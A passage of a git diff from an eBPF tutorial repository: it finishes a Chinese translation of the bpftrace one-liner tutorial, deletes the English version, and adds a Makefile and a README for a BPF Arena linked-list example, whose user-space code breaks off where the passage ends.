+ +这里统计进程上下文切换次数。以上输出被截断,只输出了最后两个结果。 + +- sched: 跟踪调度类别的调度器事件:sched_switch, sched_wakeup, sched_migrate_task等。 +- sched_switch: 当线程释放cpu资源,当前不运行时触发。这里可能的阻塞事件:如等待I/O,定时器,分页/交换,锁等。 +- kstack: 内核堆栈跟踪,打印调用栈。 +- sched_switch在线程切换的时候触发,打印的调用栈是被切换出cpu的那个线程。像你使用其他探针一样,注意这里的上下文,例如comm, pid, kstack等等,并不一定反映了探针的目标的状态。 + +# 11. 块级I/O跟踪 + +``` +# bpftrace -e 'tracepoint:block:block_rq_issue { @ = hist(args.bytes); }' +Attaching 1 probe... +^C + +@: +[0, 1] 1 |@@ | +[2, 4) 0 | | +[4, 8) 0 | | +[8, 16) 0 | | +[16, 32) 0 | | +[32, 64) 0 | | +[64, 128) 0 | | +[128, 256) 0 | | +[256, 512) 0 | | +[512, 1K) 0 | | +[1K, 2K) 0 | | +[2K, 4K) 0 | | +[4K, 8K) 24 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| +[8K, 16K) 2 |@@@@ | +[16K, 32K) 6 |@@@@@@@@@@@@@ | +[32K, 64K) 5 |@@@@@@@@@@ | +[64K, 128K) 0 | | +[128K, 256K) 1 |@@ | + +``` + +以上是块I/O请求字节数的直方图。 + +- tracepoint:block: 块类别的跟踪点跟踪块级I/O事件。 +- block_rq_issue: 当I/O提交到块设备时触发。 +- args.bytes: 跟踪点block_rq_issue的参数成员bytes,表示提交I/O请求的字节数。 + +该探针的上下文是非常重要的: 它在I/O请求被提交给块设备时触发。这通常发生在进程上下文,此时通过内核的comm可以得到进程名;也可能发生在内核上下文,(如readahead),此时不能显示预期的进程号和进程名信息。 + +# 12. 内核结构跟踪 + +``` +# cat path.bt +#ifndef BPFTRACE_HAVE_BTF +#include +#include +#endif + +kprobe:vfs_open +{ + printf("open path: %s\n", str(((struct path *)arg0)->dentry->d_name.name)); +} + +# bpftrace path.bt +Attaching 1 probe... +open path: dev +open path: if_inet6 +open path: retrans_time_ms +[...] +``` + + +这里使用内核动态跟踪技术跟踪vfs_read()函数,该函数的(struct path *)作为第一个参数。 + +- kprobe: 如前面所述,这是内核动态跟踪kprobe探针类型,跟踪内核函数的调用(kretprobe探针类型跟踪内核函数返回值)。 +- `arg0` 是一个内建变量,表示探针的第一个参数,其含义由探针类型决定。对于`kprobe`类型探针,它表示函数的第一个参数。其它参数使用arg1,...,argN访问。 +- `((struct path *)arg0)->dentry->d_name.name`: 这里`arg0`作为`struct path *`并引用dentry。 +- #include: 在没有BTF (BPF Type Format) 的情况下,包含必要的path和dentry类型声明的头文件。 + +bpftrace对内核结构跟踪的支持和bcc是一样的,允许使用内核头文件。这意味着大多数结构是可用的,但是并不是所有的,有时需要手动增加某些结构的声明。例如这个例子,见[dcsnoop tool](https://github.com/iovisor/bpftrace/blob/master/docs/../tools/dcsnoop.bt),包含struct nameidata的声明。倘若内核有提供BTF数据,则所有结构都可用。 + +现在,你已经理解了bpftrace的大部分功能,你可以开始使用和编写强大的一行命令。查阅[参考手册](https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md)更多的功能。 + +> 原文地址:https://github.com/iovisor/bpftrace/blob/master/docs diff --git a/src/bpftrace-tutorial/README_en.md b/src/bpftrace-tutorial/README_en.md deleted file mode 100644 index bb5788b4..00000000 --- a/src/bpftrace-tutorial/README_en.md +++ /dev/null @@ -1,328 +0,0 @@ -# The bpftrace One-Liner Tutorial - -This teaches you bpftrace for Linux in 12 easy lessons, where each lesson is a one-liner you can try running. This series of one-liners introduces concepts which are summarized as bullet points. For a full reference to bpftrace, see the [Man page](https://github.com/iovisor/bpftrace/blob/master/docs/../man/adoc/bpftrace.adoc) - -Contributed by Brendan Gregg, Netflix (2018), based on his FreeBSD [DTrace Tutorial](https://wiki.freebsd.org/DTrace/Tutorial). - -# Lesson 1. Listing Probes - -``` -bpftrace -l 'tracepoint:syscalls:sys_enter_*' -``` - -"bpftrace -l" lists all probes, and a search term can be added. - -- A probe is an instrumentation point for capturing event data. -- The supplied search term supports wildcards/globs (`*` and `?`) -- "bpftrace -l" can also be piped to grep(1) for full regular expression searching. - -# Lesson 2. Hello World - -``` -# bpftrace -e 'BEGIN { printf("hello world\n"); }' -Attaching 1 probe... -hello world -^C -``` - -This prints a welcome message. Run it, then hit Ctrl-C to end. - -- The word `BEGIN` is a special probe that fires at the start of the program (like awk's BEGIN). You can use it to set variables and print headers. -- An action can be associated with probes, in { }. This example calls printf() when the probe fires. - -# Lesson 3. File Opens - -``` -# bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args.filename)); }' -Attaching 1 probe... -snmp-pass /proc/cpuinfo -snmp-pass /proc/stat -snmpd /proc/net/dev -snmpd /proc/net/if_inet6 -^C -``` - -This traces file opens as they happen, and we're printing the process name and pathname. - -- It begins with the probe `tracepoint:syscalls:sys_enter_openat`: this is the tracepoint probe type (kernel static tracing), and is instrumenting when the `openat()` syscall begins (is entered). Tracepoints are preferred over kprobes (kernel dynamic tracing, introduced in lesson 6), since tracepoints have stable API. Note: In modern Linux systems (glibc >= 2.26) the `open` wrapper always calls the `openat` syscall. -- `comm` is a builtin variable that has the current process's name. Other similar builtins include pid and tid. -- `args` is a struct containing all the tracepoint arguments. This -struct is automatically generated by bpftrace based tracepoint information. The -members of this struct can be found with: `bpftrace -vl tracepoint:syscalls:sys_enter_openat`. -- `args.filename` accesses the `args` struct and gets the value of the - `filename` member. -- `str()` turns a pointer into the string it points to. - -# Lesson 4. Syscall Counts By Process - -``` -bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' -Attaching 1 probe... -^C - -@[bpftrace]: 6 -@[systemd]: 24 -@[snmp-pass]: 96 -@[sshd]: 125 -``` - -This summarizes syscalls by process name, printing a report on Ctrl-C. - -- @: This denotes a special variable type called a map, which can store and summarize data in different ways. You can add an optional variable name after the @, eg "@num", either to improve readability, or to differentiate between more than one map. -- []: The optional brackets allow a key to be set for the map, much like an associative array. -- count(): This is a map function – the way it is populated. count() counts the number of times it is called. Since this is saved by comm, the result is a frequency count of system calls by process name. - -Maps are automatically printed when bpftrace ends (eg, via Ctrl-C). - -# Lesson 5. Distribution of read() Bytes - -``` -# bpftrace -e 'tracepoint:syscalls:sys_exit_read /pid == 18644/ { @bytes = hist(args.ret); }' -Attaching 1 probe... -^C - -@bytes: -[0, 1] 12 |@@@@@@@@@@@@@@@@@@@@ | -[2, 4) 18 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | -[4, 8) 0 | | -[8, 16) 0 | | -[16, 32) 0 | | -[32, 64) 30 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| -[64, 128) 19 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | -[128, 256) 1 |@ -``` - -This summarizes the return value of the sys_read() kernel function for PID 18644, printing it as a histogram. - -- /.../: This is a filter (aka predicate), which acts as a filter for the action. The action is only executed if the filtered expression is true, in this case, only for the process ID 18644. Boolean operators are supported ("&&", "||"). -- ret: This is the return value of the function. For sys_read(), this is either -1 (error) or the number of bytes successfully read. -- @: This is a map similar to the previous lesson, but without any keys ([]) this time, and the name "bytes" which decorates the output. -- hist(): This is a map function which summarizes the argument as a power-of-2 histogram. The output shows rows that begin with interval notation, where, for example `[128, 256)` means that the value is: 128 <= value < 256. The next number is the count of occurrences, and then an ASCII histogram is printed to visualize that count. The histogram can be used to study multi-modal distributions. -- Other map functions include lhist() (linear hist), count(), sum(), avg(), min(), and max(). - -# Lesson 6. Kernel Dynamic Tracing of read() Bytes - -``` -# bpftrace -e 'kretprobe:vfs_read { @bytes = lhist(retval, 0, 2000, 200); }' -Attaching 1 probe... -^C - -@bytes: -(...,0] 0 | | -[0, 200) 66 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| -[200, 400) 2 |@ | -[400, 600) 3 |@@ | -[600, 800) 0 | | -[800, 1000) 5 |@@@ | -[1000, 1200) 0 | | -[1200, 1400) 0 | | -[1400, 1600) 0 | | -[1600, 1800) 0 | | -[1800, 2000) 0 | | -[2000,...) 39 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | -``` - -Summarize read() bytes as a linear histogram, and traced using kernel dynamic tracing. - -- It begins with the probe `kretprobe:vfs_read`: this is the kretprobe probe type (kernel dynamic tracing of function returns) instrumenting the `vfs_read()` kernel function. There is also the kprobe probe type (shown in the next lesson), to instrument when functions begin execution (are entered). These are powerful probe types, letting you trace tens of thousands of different kernel functions. However, these are "unstable" probe types: since they can trace any kernel function, there is no guarantee that your kprobe/kretprobe will work between kernel versions, as the function names, arguments, return values, and roles may change. Also, since it is tracing the raw kernel, you'll need to browse the kernel source to understand what these probes, arguments, and return values, mean. -- lhist(): this is a linear histogram, where the arguments are: value, min, max, step. The first argument (`retval`) of vfs_read() is the return value: the number of bytes read. - -# Lesson 7. Timing read()s - -``` -# bpftrace -e 'kprobe:vfs_read { @start[tid] = nsecs; } kretprobe:vfs_read /@start[tid]/ { @ns[comm] = hist(nsecs - @start[tid]); delete(@start[tid]); }' -Attaching 2 probes... - -[...] -@ns[snmp-pass]: -[0, 1] 0 | | -[2, 4) 0 | | -[4, 8) 0 | | -[8, 16) 0 | | -[16, 32) 0 | | -[32, 64) 0 | | -[64, 128) 0 | | -[128, 256) 0 | | -[256, 512) 27 |@@@@@@@@@ | -[512, 1k) 125 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ | -[1k, 2k) 22 |@@@@@@@ | -[2k, 4k) 1 | | -[4k, 8k) 10 |@@@ | -[8k, 16k) 1 | | -[16k, 32k) 3 |@ | -[32k, 64k) 144 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| -[64k, 128k) 7 |@@ | -[128k, 256k) 28 |@@@@@@@@@@ | -[256k, 512k) 2 | | -[512k, 1M) 3 |@ | -[1M, 2M) 1 | | -``` - -Summarize the time spent in read(), in nanoseconds, as a histogram, by process name. - -- @start[tid]: This uses the thread ID as a key. There may be many reads in-flight, and we want to store a start timestamp to each. How? We could construct a unique identifier for each read, and use that as the key. But because kernel threads can only be executing one syscall at a time, we can use the thread ID as the unique identifier, as each thread cannot be executing more than one. -- nsecs: Nanoseconds since boot. This is a high resolution timestamp counter than can be used to time events. -- /@start[tid]/: This filter checks that the start time was seen and recorded. Without this filter, this program may be launched during a read and only catch the end, resulting in a time calculation of now - zero, instead of now - start. - -- delete(@start[tid]): this frees the variable. - -# Lesson 8. Count Process-Level Events - -``` -# bpftrace -e 'tracepoint:sched:sched* { @[probe] = count(); } interval:s:5 { exit(); }' -Attaching 25 probes... -@[tracepoint:sched:sched_wakeup_new]: 1 -@[tracepoint:sched:sched_process_fork]: 1 -@[tracepoint:sched:sched_process_exec]: 1 -@[tracepoint:sched:sched_process_exit]: 1 -@[tracepoint:sched:sched_process_free]: 2 -@[tracepoint:sched:sched_process_wait]: 7 -@[tracepoint:sched:sched_wake_idle_without_ipi]: 53 -@[tracepoint:sched:sched_stat_runtime]: 212 -@[tracepoint:sched:sched_wakeup]: 253 -@[tracepoint:sched:sched_waking]: 253 -@[tracepoint:sched:sched_switch]: 510 -``` - -Count process-level events for five seconds, printing a summary. - -- sched: The `sched` probe category has high-level scheduler and process events, such as fork, exec, and context switch. -- probe: The full name of the probe. -- interval:s:5: This is a probe that fires once every 5 seconds, on one CPU only. It is used for creating script-level intervals or timeouts. -- exit(): This exits bpftrace. - -# Lesson 9. Profile On-CPU Kernel Stacks - -``` -# bpftrace -e 'profile:hz:99 { @[kstack] = count(); }' -Attaching 1 probe... -^C - -[...] -@[ -filemap_map_pages+181 -__handle_mm_fault+2905 -handle_mm_fault+250 -__do_page_fault+599 -async_page_fault+69 -]: 12 -[...] -@[ -cpuidle_enter_state+164 -do_idle+390 -cpu_startup_entry+111 -start_secondary+423 -secondary_startup_64+165 -]: 22122 -``` - -Profile kernel stacks at 99 Hertz, printing a frequency count. - -- profile:hz:99: This fires on all CPUs at 99 Hertz. Why 99 and not 100 or 1000? We want frequent enough to catch both the big and small picture of execution, but not too frequent as to perturb performance. 100 Hertz is enough. But we don't want 100 exactly, as sampling may occur in lockstep with other timed activities, hence 99. -- kstack: Returns the kernel stack trace. This is used as a key for the map, so that it can be frequency counted. The output of this is ideal to be visualized as a flame graph. There is also `ustack` for the user-level stack trace. - -# Lesson 10. Scheduler Tracing - -``` -# bpftrace -e 'tracepoint:sched:sched_switch { @[kstack] = count(); }' -^C -[...] - -@[ -__schedule+697 -__schedule+697 -schedule+50 -schedule_timeout+365 -xfsaild+274 -kthread+248 -ret_from_fork+53 -]: 73 -@[ -__schedule+697 -__schedule+697 -schedule_idle+40 -do_idle+356 -cpu_startup_entry+111 -start_secondary+423 -secondary_startup_64+165 -]: 305 -``` - -This counts stack traces that led to context switching (off-CPU) events. The above output has been truncated to show the last two only. - -- sched: The sched category has tracepoints for different kernel CPU scheduler events: sched_switch, sched_wakeup, sched_migrate_task, etc. -- sched_switch: This probe fires when a thread leaves CPU. This will be a blocking event: eg, waiting on I/O, a timer, paging/swapping, or a lock. -- kstack: A kernel stack trace. -- sched_switch fires in thread context, so that the stack refers to the thread who is leaving. As you use other probe types, pay attention to context, as comm, pid, kstack, etc, may not refer to the target of the probe. - -# Lesson 11. Block I/O Tracing - -``` -# bpftrace -e 'tracepoint:block:block_rq_issue { @ = hist(args.bytes); }' -Attaching 1 probe... -^C - -@: -[0, 1] 1 |@@ | -[2, 4) 0 | | -[4, 8) 0 | | -[8, 16) 0 | | -[16, 32) 0 | | -[32, 64) 0 | | -[64, 128) 0 | | -[128, 256) 0 | | -[256, 512) 0 | | -[512, 1K) 0 | | -[1K, 2K) 0 | | -[2K, 4K) 0 | | -[4K, 8K) 24 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@| -[8K, 16K) 2 |@@@@ | -[16K, 32K) 6 |@@@@@@@@@@@@@ | -[32K, 64K) 5 |@@@@@@@@@@ | -[64K, 128K) 0 | | -[128K, 256K) 1 |@@ | - -``` - -Block I/O requests by size in bytes, as a histogram. - -- tracepoint:block: The block category of tracepoints traces various block I/O (storage) events. -- block_rq_issue: This fires when an I/O is issued to the device. -- args.bytes: This is a member from the tracepoint block_rq_issue arguments which shows the size in bytes. - -The context of this probe is important: this fires when the I/O is issued to the device. This often happens in process context, where builtins like comm will show you the process name, but it can also happen from kernel context (eg, readahead) when the pid and comm will not show the application you expect. - -# Lesson 12. Kernel Struct Tracing - -``` -# cat path.bt -#ifndef BPFTRACE_HAVE_BTF -#include -#include -#endif - -kprobe:vfs_open -{ - printf("open path: %s\n", str(((struct path *)arg0)->dentry->d_name.name)); -} - -# bpftrace path.bt -Attaching 1 probe... -open path: dev -open path: if_inet6 -open path: retrans_time_ms -[...] -``` - -This uses kernel dynamic tracing of the vfs_open() function, which has a (struct path *) as the first argument. - -- kprobe: As mentioned earlier, this is the kernel dynamic tracing probe type, which traces the entry of kernel functions (use kretprobe to trace their returns). -- `arg0` is a builtin variable containing the first probe argument, the meaning of which is defined by the probe type. For `kprobe`, it is the first argument to the function. Other arguments can be accessed as arg1, ..., argN. -- `((struct path *)arg0)->dentry->d_name.name`: this casts `arg0` as `struct path *`, then dereferences dentry, etc. -- #include: these are necessary to include struct definitions for path and dentry on systems where the kernel was built without BTF (BPF Type Format) data. - -The kernel struct support is the same as bcc, making use of kernel headers. This means that many structs are available, but not everything, and sometimes it might be necessary to manually include a struct. For an example of this, see the [dcsnoop tool](https://github.com/iovisor/bpftrace/blob/master/docs/../tools/dcsnoop.bt), which includes a portion of struct nameidata manually as it wasn't in the available headers. If the kernel has BTF data, all kernel structs are always available. - -At this point you understand much of bpftrace, and can begin to use and write powerful one-liners. See the [Reference Guide](https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md) for more capabilities. - -> The original tutorial link: https://github.com/iovisor/bpftrace/blob/master/docs/ diff --git a/src/features/bpf_arena/.config b/src/features/bpf_arena/.config new file mode 100644 index 00000000..73992da3 --- /dev/null +++ b/src/features/bpf_arena/.config @@ -0,0 +1,2 @@ +level=Depth +type=Features diff --git a/src/features/bpf_arena/.gitignore b/src/features/bpf_arena/.gitignore new file mode 100644 index 00000000..d83e46af --- /dev/null +++ b/src/features/bpf_arena/.gitignore @@ -0,0 +1,4 @@ +/.output +/bootstrap +xdp-pktgen +arena_list diff --git a/src/features/bpf_arena/Makefile b/src/features/bpf_arena/Makefile new file mode 100644 index 00000000..bedc161d --- /dev/null +++ b/src/features/bpf_arena/Makefile @@ -0,0 +1,112 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) -I. +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = arena_list + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) -D__BPF_FEATURE_ADDR_SPACE_CAST \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/features/bpf_arena/README.md b/src/features/bpf_arena/README.md new file mode 100644 index 00000000..a59da755 --- /dev/null +++ b/src/features/bpf_arena/README.md @@ -0,0 +1,362 @@ +# eBPF Tutorial by Example: BPF Arena for Zero-Copy Shared Memory + +Ever tried building a linked list in eBPF and got stuck using awkward integer indices instead of real pointers? Or needed to share large amounts of data between your kernel BPF program and userspace without expensive syscalls? Traditional BPF maps force you to work around pointer limitations and require system calls for every access. What if you could just use normal C pointers and have direct memory access from both kernel and userspace? + +This is what **BPF Arena** solves. Created by Alexei Starovoitov in 2024, arena provides a sparse shared memory region where BPF programs can use real pointers to build complex data structures like linked lists, trees, and graphs, while userspace gets zero-copy direct access to the same memory. In this tutorial, we'll build a linked list in arena memory and show you how both kernel and userspace can manipulate it using standard pointer operations. + +> The complete source code: + +## Introduction to BPF Arena: Breaking Free from Map Limitations + +### The Problem: When BPF Maps Aren't Enough + +Traditional BPF maps are fantastic for simple key-value storage, but they have fundamental limitations when you need complex data structures or large-scale data sharing. Let's look at what developers faced before arena existed. + +**Ring buffers** only work in one direction - BPF can send data to userspace, but userspace can't write back. They're streaming-only, no random access. **Hash and array maps** require syscalls like `bpf_map_lookup_elem()` for every access from userspace. Array maps allocate all their memory upfront, wasting space if you only use a fraction of entries. Most critically, **you can't use real pointers** - you're forced to use integer indices to link data structures together. + +Building a linked list the old way looked like this mess: + +```c +struct node { + int next_idx; // Can't use pointers, must use index! + int data; +}; + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 10000); + __type(value, struct node); +} nodes_map SEC(".maps"); + +// Traverse requires repeated map lookups +int idx = head_idx; +while (idx != -1) { + struct node *n = bpf_map_lookup_elem(&nodes_map, &idx); + if (!n) break; + process(n->data); + idx = n->next_idx; // No pointer following! +} +``` + +Every node access requires a map lookup. You can't just follow pointers like normal C code. The verifier won't let you use pointers across different map entries. This makes implementing trees, graphs, or any pointer-based structure incredibly awkward and slow. + +### The Solution: Sparse Shared Memory with Real Pointers + +In 2024, Alexei Starovoitov from the Linux kernel team introduced BPF arena to solve these limitations. Arena provides a **sparse shared memory region** between BPF programs and userspace, supporting up to 4GB of address space. Memory pages are allocated on-demand as you use them, so you don't waste space. Both kernel BPF code and userspace programs can map the same arena and access it directly. + +The game-changer: you can use **real C pointers** in BPF programs targeting arena memory. The `__arena` annotation tells the verifier that these pointers reference arena space, and special address space casts (`cast_kern()`, `cast_user()`) let you safely convert between kernel and userspace views of the same memory. Userspace gets zero-copy access through `mmap()` - no syscalls needed to read or write arena data. + +Here's what the same linked list looks like with arena: + +```c +struct node __arena { + struct node __arena *next; // Real pointer! + int data; +}; + +struct node __arena *head; + +// Traverse with normal pointer following +struct node __arena *n = head; +while (n) { + process(n->data); + n = n->next; // Just follow the pointer! +} +``` + +Clean, simple, exactly how you'd write it in normal C. The verifier understands arena pointers and lets you dereference them safely. + +### Why This Matters + +Arena was inspired by research showing the potential for complex data structures in BPF. Before arena, developers were building hash tables, queues, and trees using giant BPF array maps with integer indices instead of pointers. It worked, but the code was ugly and slow. Arena unlocks several powerful use cases. + +**In-kernel data structures** become practical. You can implement custom hash tables with collision chaining, AVL or red-black trees for sorted data, graphs for network topology mapping, all using normal pointer operations. **Key-value store accelerators** can run in the kernel for maximum performance, with userspace getting direct access to the data structure without syscall overhead. **Bidirectional communication** works naturally - both kernel and userspace can modify shared data structures using lock-free algorithms. **Large data aggregation** scales up to 4GB instead of being limited by typical map size constraints. + +## Implementation: Building a Linked List in Arena Memory + +Let's build a complete example that demonstrates arena's power. We'll create a linked list where BPF programs add and delete elements using real pointers, while userspace directly accesses the list to compute sums without any syscalls. + +### Complete BPF Program: arena_list.bpf.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#define BPF_NO_KFUNC_PROTOTYPES +#include +#include +#include +#include +#include "bpf_experimental.h" + +struct { + __uint(type, BPF_MAP_TYPE_ARENA); + __uint(map_flags, BPF_F_MMAPABLE); + __uint(max_entries, 100); /* number of pages */ +#ifdef __TARGET_ARCH_arm64 + __ulong(map_extra, 0x1ull << 32); /* start of mmap() region */ +#else + __ulong(map_extra, 0x1ull << 44); /* start of mmap() region */ +#endif +} arena SEC(".maps"); + +#include "bpf_arena_alloc.h" +#include "bpf_arena_list.h" + +struct elem { + struct arena_list_node node; + __u64 value; +}; + +struct arena_list_head __arena *list_head; +int list_sum; +int cnt; +bool skip = false; + +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST +long __arena arena_sum; +int __arena test_val = 1; +struct arena_list_head __arena global_head; +#else +long arena_sum SEC(".addr_space.1"); +int test_val SEC(".addr_space.1"); +#endif + +int zero; + +SEC("syscall") +int arena_list_add(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + __u64 i; + + list_head = &global_head; + + for (i = zero; i < cnt && can_loop; i++) { + struct elem __arena *n = bpf_alloc(sizeof(*n)); + + test_val++; + n->value = i; + arena_sum += i; + list_add_head(&n->node, list_head); + } +#else + skip = true; +#endif + return 0; +} + +SEC("syscall") +int arena_list_del(void *ctx) +{ +#ifdef __BPF_FEATURE_ADDR_SPACE_CAST + struct elem __arena *n; + int sum = 0; + + arena_sum = 0; + list_for_each_entry(n, list_head, node) { + sum += n->value; + arena_sum += n->value; + list_del(&n->node); + bpf_free(n); + } + list_sum = sum; +#else + skip = true; +#endif + return 0; +} + +char _license[] SEC("license") = "GPL"; +``` + +### Understanding the BPF Code + +The program starts by defining the arena map itself. `BPF_MAP_TYPE_ARENA` tells the kernel this is arena memory, and `BPF_F_MMAPABLE` makes it accessible via `mmap()` from userspace. The `max_entries` field specifies how many pages (typically 4KB each) the arena can hold - here we allow up to 100 pages, or about 400KB. The `map_extra` field sets where in the virtual address space the arena gets mapped, using different addresses for ARM64 vs x86-64 to avoid conflicts with existing mappings. + +After defining the map, we include arena helpers. The `bpf_arena_alloc.h` file provides `bpf_alloc()` and `bpf_free()` functions - a simple memory allocator that works with arena pages, similar to `malloc()` and `free()` but specifically for arena memory. The `bpf_arena_list.h` file implements doubly-linked list operations using arena pointers, including `list_add_head()` to prepend nodes and `list_for_each_entry()` to iterate safely. + +Our `elem` structure contains the actual data. The `arena_list_node` member provides the `next` and `pprev` pointers for linking nodes together - these are arena pointers marked with `__arena`. The `value` field holds our payload data. Notice the `__arena` annotation on `list_head` - this tells the verifier this pointer references arena memory, not normal kernel memory. + +The `arena_list_add()` function creates list elements. It's marked `SEC("syscall")` because userspace will trigger it using `bpf_prog_test_run()`. The loop allocates new elements using `bpf_alloc(sizeof(*n))`, which returns an arena pointer. We can then dereference `n->value` directly - the verifier allows this because `n` is an arena pointer. The `list_add_head()` call prepends the new node to the list using normal pointer manipulation, all happening in arena memory. The `can_loop` check satisfies the verifier's bounded loop requirement. + +The `arena_list_del()` function demonstrates iteration and cleanup. The `list_for_each_entry()` macro walks the list following arena pointers. Inside the loop, we sum values and delete nodes. The `bpf_free(n)` call returns memory to the arena allocator, decreasing the reference count and potentially freeing pages when the count hits zero. + +The address space cast feature is crucial. Some compilers support `__BPF_FEATURE_ADDR_SPACE_CAST` which enables the `__arena` annotation to work as a compiler address space. Without this support, we fall back to using explicit section annotations like `SEC(".addr_space.1")`. The code checks for this feature and skips execution if it's not available, preventing runtime errors. + +### Complete User-Space Program: arena_list.c + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2024 Meta Platforms, Inc. and affiliates. */ +#include +#include +#include +#include +#include +#include +#include + +#include "bpf_arena_list.h" +#include "arena_list.skel.h" + +struct elem { + struct arena_list_node node; + uint64_t value; +}; + +static int list_sum(struct arena_list_head *head) +{ + struct elem __arena *n; + int sum = 0; + + list_for_each_entry(n, head, node) + sum += n->value; + return sum; +} + +static void test_arena_list_add_del(int cnt) +{ + LIBBPF_OPTS(bpf_test_run_opts, opts); + struct arena_list_bpf *skel; + int expected_sum = (u_int64_t)cnt * (cnt - 1) / 2; + int ret, sum; + + skel = arena_list_bpf__open_and_load(); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return; + } + + skel->bss->cnt = cnt; + ret = 